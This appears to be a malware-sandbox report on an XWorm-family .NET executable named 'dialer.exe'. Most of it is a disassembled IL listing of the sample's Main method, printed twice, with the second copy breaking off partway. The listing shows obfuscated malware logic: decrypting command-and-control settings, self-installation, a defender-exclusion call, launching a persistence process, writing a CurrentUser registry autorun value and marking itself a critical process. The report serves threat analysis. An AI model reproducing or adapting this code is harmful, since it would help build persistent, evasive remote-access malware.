Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Medium
1 malicious · 3 files
EXEf19acf87f83b642f001981d54d089b91XWorm
Structure
Config. Field Value
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
dialer.exe
Full Name
dialer.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
dialer.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
dialer
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
434
Main IL 
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
stloc.s V_18
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 473
ldc.i4 475
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
ldc.i4.7 <null>
stloc.s V_13
ldloc.s V_13
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 374
ldc.i4 292
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 1002
ldc.i4 952
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::Port
ldc.i4.0 <null>
stloc.s V_13
br.s IL_0024: ldloc.s V_13
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 303
ldc.i4 381
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 566
ldc.i4 612
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::SPL
ldc.i4.1 <null>
stloc.s V_13
br IL_0024: ldloc.s V_13
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 513
ldc.i4 595
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 44
ldc.i4.s 126
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::USBNM
ldc.i4.2 <null>
stloc.s V_13
br IL_0024: ldloc.s V_13
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 17
ldc.i4.s 67
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
ldc.i4 807
ldc.i4 889
call System.String Stub.Messages/ႥႨ::Ⴗ<System.String>(System.String,System.Int16,System.Char)
stsfld System.String Settings::InstallDir
ldc.i4.6 <null>
stloc.s V_13
br IL_0024: ldloc.s V_13
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 742
ldc.i4 692
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::InstallStr
leave.s IL_0193: ldc.i4.5
dup <null>
ldc.i4 151
ldc.i4 230
call System.Void Stub.Messages/ႥႨ::Ⴓ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 721
ldc.i4 722
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
ldc.i4 449
ldc.i4 460
call System.Void Stub.Uninstaller::Ⴄ(System.Int16,System.Int16)
leave.s IL_0193: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_15
ldloc.s V_15
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴍ.Ⴗ::Ⴃ()
brtrue.s IL_01C5: ldc.i4.0
ldc.i4.2 <null>
stloc.s V_15
br.s IL_0196: ldloc.s V_15
ldc.i4.0 <null>
br.s IL_01C1: stloc.s V_15
ldc.i4.0 <null>
ldc.i4 354
ldc.i4 353
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 621976985
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 368
ldc.i4 364
call System.String Stub.Messages::Ⴗ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int32,System.Int16)
stloc.0 <null>
ldc.i4.5 <null>
stloc.s V_17
ldloc.s V_17
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 371
ldc.i4 324
call System.IO.DirectoryInfo My.MyApplication::ႤႭ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char)
ldc.i4 995
ldc.i4 901
call System.String Stub.Messages/ႥႨ::ႨႷ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Int16)
stloc.s V_4
ldc.i4.8 <null>
stloc.s V_17
br.s IL_0207: ldloc.s V_17
ldloc.s V_4
ldc.i4 744
ldc.i4 698
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
ldc.i4 166
ldc.i4 188
call System.Boolean Stub.AlgorithmAES::ႠႤ<System.String>(System.String,System.Char,System.Int32)
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
ldc.i4 192
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
ldc.i4 192
ldelem.u2 <null>
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
ldc.i4 136
ldelem.u2 <null>
sub <null>
ldc.i4.s 35
and <null>
stelem.i2 <null>
brtrue.s IL_02B5: ldloc.s V_18
ldc.i4.2 <null>
stloc.s V_17
br IL_0207: ldloc.s V_17
ldloc.s V_18
ldc.i4 167
ldelem.u2 <null>
ldc.i4 33022
sub <null>
br.s IL_02AE: stloc.s V_17
ldloc.s V_4
ldc.i4 662
ldc.i4 708
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
ldc.i4 542
ldc.i4 625
call System.IO.DirectoryInfo My.MyApplication::ႤႠ<System.String>(System.String,System.Int32,System.Char)
pop <null>
ldc.i4.3 <null>
stloc.s V_17
br IL_0207: ldloc.s V_17
ldloc.0 <null>
isinst System.String
ldc.i4.4 <null>
ldc.i4.s 31
call System.Boolean Stub.AlgorithmAES::ႠႤ<System.String>(System.String,System.Char,System.Int32)
brfalse.s IL_0306: ldc.i4.1
ldc.i4.0 <null>
stloc.s V_17
br IL_0207: ldloc.s V_17
ldc.i4.1 <null>
br.s IL_02FF: stloc.s V_17
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
isinst System.IO.FileInfo
ldc.i4 233
ldc.i4 229
call System.Void My.MyApplication::ႤႼ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char)
ldc.i4 1000
ldc.i4 314
ldc.i4 312
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
ldloc.0 <null>
isinst System.String
ldsfld System.String Ⴍ.Ⴗ::Ⴈ
ldc.i4 587
ldc.i4 598
call System.Byte[] My.MyComputer::ႳႣ<System.String>(System.String,System.Char,System.Char)
ldc.i4 226
ldc.i4 184
call System.Void My.MyComputer::Ⴓ<System.String>(System.String,System.Byte[],System.Int32,System.Int32)
leave.s IL_038E: ldc.i4.7
dup <null>
ldc.i4 283
ldc.i4 362
call System.Void Stub.Messages/ႥႨ::Ⴓ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_6
ldc.i4 791
ldc.i4 794
call System.Void Stub.Uninstaller::Ⴄ(System.Int16,System.Int16)
leave.s IL_038E: ldc.i4.7
ldc.i4.7 <null>
stloc.s V_20
ldloc.s V_20
switch dnlib.DotNet.Emit.Instruction[]
ldnull <null>
ldnull <null>
ldc.i4.6 <null>
ldc.i4 621975808
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_8
ldloc.s V_8
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4 802
ldc.i4 801
call System.Void Stub.AlgorithmAES::Ⴐ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int16,System.Int32)
ldc.i4.1 <null>
stloc.s V_20
br.s IL_0391: ldloc.s V_20
call System.String Stub.ClientSocket::UAC()
ldc.i4 650
ldc.i4 662
call System.Boolean Stub.AlgorithmAES::ႠႤ<System.String>(System.String,System.Char,System.Int32)
brfalse.s IL_0407: ldc.i4.0
ldc.i4.8 <null>
stloc.s V_20
br.s IL_0391: ldloc.s V_20
ldc.i4.0 <null>
br.s IL_0403: stloc.s V_20
ldloc.s V_8
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_11
ldloc.s V_11
isinst System.String[]
ldc.i4.0 <null>
ldnull <null>
ldnull <null>
ldc.i4.4 <null>
ldc.i4 621975928
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 816
ldc.i4 877
call System.String Stub.Messages/ႥႨ::Ⴗ<System.String>(System.String,System.Int16,System.Char)
stelem.ref <null>
ldloc.s V_11
castclass System.String[]
ldc.i4.2 <null>
ldnull <null>
ldnull <null>
ldc.i4.6 <null>
ldc.i4 621975768
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.4 <null>
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 621976037
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
castclass System.String[]
ldc.i4.s 101
ldc.i4.s 36
call System.String Stub.Uninstaller::Ⴓ(System.String[],System.Int32,System.Int16)
ldc.i4 532
ldc.i4 524
call System.Void Stub.Messages/ႥႨ::ႨႨ<System.Diagnostics.ProcessStartInfo,System.String>(System.Diagnostics.ProcessStartInfo,System.String,System.Int32,System.Int16)
ldc.i4.2 <null>
stloc.s V_20
br IL_0391: ldloc.s V_20
ldloc.s V_8
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_11
ldloc.s V_11
isinst System.String[]
ldc.i4.0 <null>
ldnull <null>
ldnull <null>
ldc.i4.8 <null>
ldc.i4 621975798
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.2 <null>
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 621975773
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
castclass System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.4 <null>
ldnull <null>
ldnull <null>
ldc.i4.4 <null>
ldc.i4 621976034
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_8
castclass System.Diagnostics.ProcessStartInfo
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_7
ldloc.s V_7
isinst System.Diagnostics.Process
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_055D: ldc.i4.3
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_9
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_055D: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_22
ldloc.s V_22
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴐ()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4 621977142
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
castclass System.String
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_05C3: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_05C3: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_24
ldloc.s V_24
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴍ.Ⴗ::Ⴐ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_0619: ldc.i4.7
ldc.i4.5 <null>
stloc.s V_24
br.s IL_05C6: ldloc.s V_24
ldc.i4.7 <null>
br.s IL_0615: stloc.s V_24
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.3 <null>
stloc.s V_24
br IL_05C6: ldloc.s V_24
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
Module Name
dialer.exe
Full Name
dialer.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
dialer.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
dialer
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
434
Main IL 
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
stloc.s V_18
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 473
ldc.i4 475
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
ldc.i4.7 <null>
stloc.s V_13
ldloc.s V_13
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 374
ldc.i4 292
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 1002
ldc.i4 952
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::Port
ldc.i4.0 <null>
stloc.s V_13
br.s IL_0024: ldloc.s V_13
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 303
ldc.i4 381
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 566
ldc.i4 612
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::SPL
ldc.i4.1 <null>
stloc.s V_13
br IL_0024: ldloc.s V_13
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 513
ldc.i4 595
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 44
ldc.i4.s 126
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::USBNM
ldc.i4.2 <null>
stloc.s V_13
br IL_0024: ldloc.s V_13
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 17
ldc.i4.s 67
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
ldc.i4 807
ldc.i4 889
call System.String Stub.Messages/ႥႨ::Ⴗ<System.String>(System.String,System.Int16,System.Char)
stsfld System.String Settings::InstallDir
ldc.i4.6 <null>
stloc.s V_13
br IL_0024: ldloc.s V_13
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 742
ldc.i4 692
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::InstallStr
leave.s IL_0193: ldc.i4.5
dup <null>
ldc.i4 151
ldc.i4 230
call System.Void Stub.Messages/ႥႨ::Ⴓ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 721
ldc.i4 722
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
ldc.i4 449
ldc.i4 460
call System.Void Stub.Uninstaller::Ⴄ(System.Int16,System.Int16)
leave.s IL_0193: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_15
ldloc.s V_15
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴍ.Ⴗ::Ⴃ()
brtrue.s IL_01C5: ldc.i4.0
ldc.i4.2 <null>
stloc.s V_15
br.s IL_0196: ldloc.s V_15
ldc.i4.0 <null>
br.s IL_01C1: stloc.s V_15
ldc.i4.0 <null>
ldc.i4 354
ldc.i4 353
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 621976985
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 368
ldc.i4 364
call System.String Stub.Messages::Ⴗ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int32,System.Int16)
stloc.0 <null>
ldc.i4.5 <null>
stloc.s V_17
ldloc.s V_17
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 371
ldc.i4 324
call System.IO.DirectoryInfo My.MyApplication::ႤႭ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char)
ldc.i4 995
ldc.i4 901
call System.String Stub.Messages/ႥႨ::ႨႷ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Int16)
stloc.s V_4
ldc.i4.8 <null>
stloc.s V_17
br.s IL_0207: ldloc.s V_17
ldloc.s V_4
ldc.i4 744
ldc.i4 698
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
ldc.i4 166
ldc.i4 188
call System.Boolean Stub.AlgorithmAES::ႠႤ<System.String>(System.String,System.Char,System.Int32)
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
ldc.i4 192
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
ldc.i4 192
ldelem.u2 <null>
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
ldc.i4 136
ldelem.u2 <null>
sub <null>
ldc.i4.s 35
and <null>
stelem.i2 <null>
brtrue.s IL_02B5: ldloc.s V_18
ldc.i4.2 <null>
stloc.s V_17
br IL_0207: ldloc.s V_17
ldloc.s V_18
ldc.i4 167
ldelem.u2 <null>
ldc.i4 33022
sub <null>
br.s IL_02AE: stloc.s V_17
ldloc.s V_4
ldc.i4 662
ldc.i4 708
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
ldc.i4 542
ldc.i4 625
call System.IO.DirectoryInfo My.MyApplication::ႤႠ<System.String>(System.String,System.Int32,System.Char)
pop <null>
ldc.i4.3 <null>
stloc.s V_17
br IL_0207: ldloc.s V_17
ldloc.0 <null>
isinst System.String
ldc.i4.4 <null>
ldc.i4.s 31
call System.Boolean Stub.AlgorithmAES::ႠႤ<System.String>(System.String,System.Char,System.Int32)
brfalse.s IL_0306: ldc.i4.1
ldc.i4.0 <null>
stloc.s V_17
br IL_0207: ldloc.s V_17
ldc.i4.1 <null>
br.s IL_02FF: stloc.s V_17
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
isinst System.IO.FileInfo
ldc.i4 233
ldc.i4 229
call System.Void My.MyApplication::ႤႼ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char)
ldc.i4 1000
ldc.i4 314
ldc.i4 312
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
ldloc.0 <null>
isinst System.String
ldsfld System.String Ⴍ.Ⴗ::Ⴈ
ldc.i4 587
ldc.i4 598
call System.Byte[] My.MyComputer::ႳႣ<System.String>(System.String,System.Char,System.Char)
ldc.i4 226
ldc.i4 184
call System.Void My.MyComputer::Ⴓ<System.String>(System.String,System.Byte[],System.Int32,System.Int32)
leave.s IL_038E: ldc.i4.7
dup <null>
ldc.i4 283
ldc.i4 362
call System.Void Stub.Messages/ႥႨ::Ⴓ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_6
ldc.i4 791
ldc.i4 794
call System.Void Stub.Uninstaller::Ⴄ(System.Int16,System.Int16)
leave.s IL_038E: ldc.i4.7
ldc.i4.7 <null>
stloc.s V_20
ldloc.s V_20
switch dnlib.DotNet.Emit.Instruction[]
ldnull <null>
ldnull <null>
ldc.i4.6 <null>
ldc.i4 621975808
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_8
ldloc.s V_8
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4 802
ldc.i4 801
call System.Void Stub.AlgorithmAES::Ⴐ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int16,System.Int32)
ldc.i4.1 <null>
stloc.s V_20
br.s IL_0391: ldloc.s V_20
call System.String Stub.ClientSocket::UAC()
ldc.i4 650
ldc.i4 662
call System.Boolean Stub.AlgorithmAES::ႠႤ<System.String>(System.String,System.Char,System.Int32)
brfalse.s IL_0407: ldc.i4.0
ldc.i4.8 <null>
stloc.s V_20
br.s IL_0391: ldloc.s V_20
ldc.i4.0 <null>
br.s IL_0403: stloc.s V_20
ldloc.s V_8
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_11
ldloc.s V_11
isinst System.String[]
ldc.i4.0 <null>
ldnull <null>
ldnull <null>
ldc.i4.4 <null>
ldc.i4 621975928
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 816
ldc.i4 877
call System.String Stub.Messages/ႥႨ::Ⴗ<System.String>(System.String,System.Int16,System.Char)
stelem.ref <null>
ldloc.s V_11
castclass System.String[]
ldc.i4.2 <null>
ldnull <null>
ldnull <null>
ldc.i4.6 <null>
ldc.i4 621975768
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.4 <null>
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 621976037
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
castclass System.String[]
ldc.i4.s 101
ldc.i4.s 36
call System.String Stub.Uninstaller::Ⴓ(System.String[],System.Int32,System.Int16)
ldc.i4 532
ldc.i4 524
call System.Void Stub.Messages/ႥႨ::ႨႨ<System.Diagnostics.ProcessStartInfo,System.String>(System.Diagnostics.ProcessStartInfo,System.String,System.Int32,System.Int16)
ldc.i4.2 <null>
stloc.s V_20
br IL_0391: ldloc.s V_20
ldloc.s V_8
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_11
ldloc.s V_11
isinst System.String[]
ldc.i4.0 <null>
ldnull <null>
ldnull <null>
ldc.i4.8 <null>
ldc.i4 621975798
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.2 <null>
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 621975773
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
castclass System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.4 <null>
ldnull <null>
ldnull <null>
ldc.i4.4 <null>
ldc.i4 621976034
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_8
castclass System.Diagnostics.ProcessStartInfo
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_7
ldloc.s V_7
isinst System.Diagnostics.Process
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_055D: ldc.i4.3
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_9
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_055D: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_22
ldloc.s V_22
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴐ()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4 621977142
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
